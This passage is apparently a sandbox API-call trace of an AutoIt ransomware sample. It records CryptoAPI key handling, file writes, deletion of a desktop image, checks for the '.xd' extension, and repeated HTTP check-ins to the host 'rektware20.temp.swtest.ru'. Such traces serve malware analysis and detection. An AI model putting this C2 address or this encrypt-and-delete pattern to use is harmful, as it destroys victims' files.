wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.774] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.774] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.775] WriteFile (in: hFile=0x3d8, lpBuffer=0x17acdd0*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17acdd0*, lpNumberOfBytesWritten=0x130f01c*=0x700, lpOverlapped=0x0) returned 1 [0075.776] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.776] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.776] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.776] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.777] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.777] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0075.777] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621210, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.777] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.777] CryptDestroyKey (hKey=0x164c6f0) returned 1 [0075.777] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.777] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.777] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.777] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.778] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.778] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.778] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.778] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.778] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.778] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.778] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.778] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.778] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.778] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.779] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.779] CryptReleaseContext (hProv=0x1631ee0, dwFlags=0x0) returned 1 [0075.779] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.779] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.779] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.779] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.779] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.780] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.780] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.780] CloseHandle (hObject=0x3d0) returned 1 [0075.780] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.780] CloseHandle (hObject=0x3d8) returned 1 [0075.785] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.785] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.785] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", lpFilePart=0x0) returned 0x33 [0075.785] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kap_b4mxmg0-tmpmr.bmp")) returned 0x20 [0075.786] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0075.786] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kap_b4mxmg0-tmpmr.bmp")) returned 1 [0075.793] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.794] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0075.794] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.795] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.795] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.795] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.795] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0075.796] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0075.796] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.797] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0075.797] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.797] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0075.797] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0075.797] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0075.797] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.797] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.799] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.800] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0075.800] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0075.801] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0075.801] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0075.801] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0075.801] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.803] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.803] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.803] CloseHandle (hObject=0x0) returned 0 [0075.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kDp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dp2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MAGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AGp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Gp1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lG.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0075.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.809] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.809] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0075.809] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.809] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0075.809] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0075.809] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.809] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0075.809] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0075.809] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0075.809] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.809] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.810] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.812] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.812] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.812] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629440, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629440*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.813] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.814] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.814] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.814] CloseHandle (hObject=0x0) returned 0 [0075.814] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 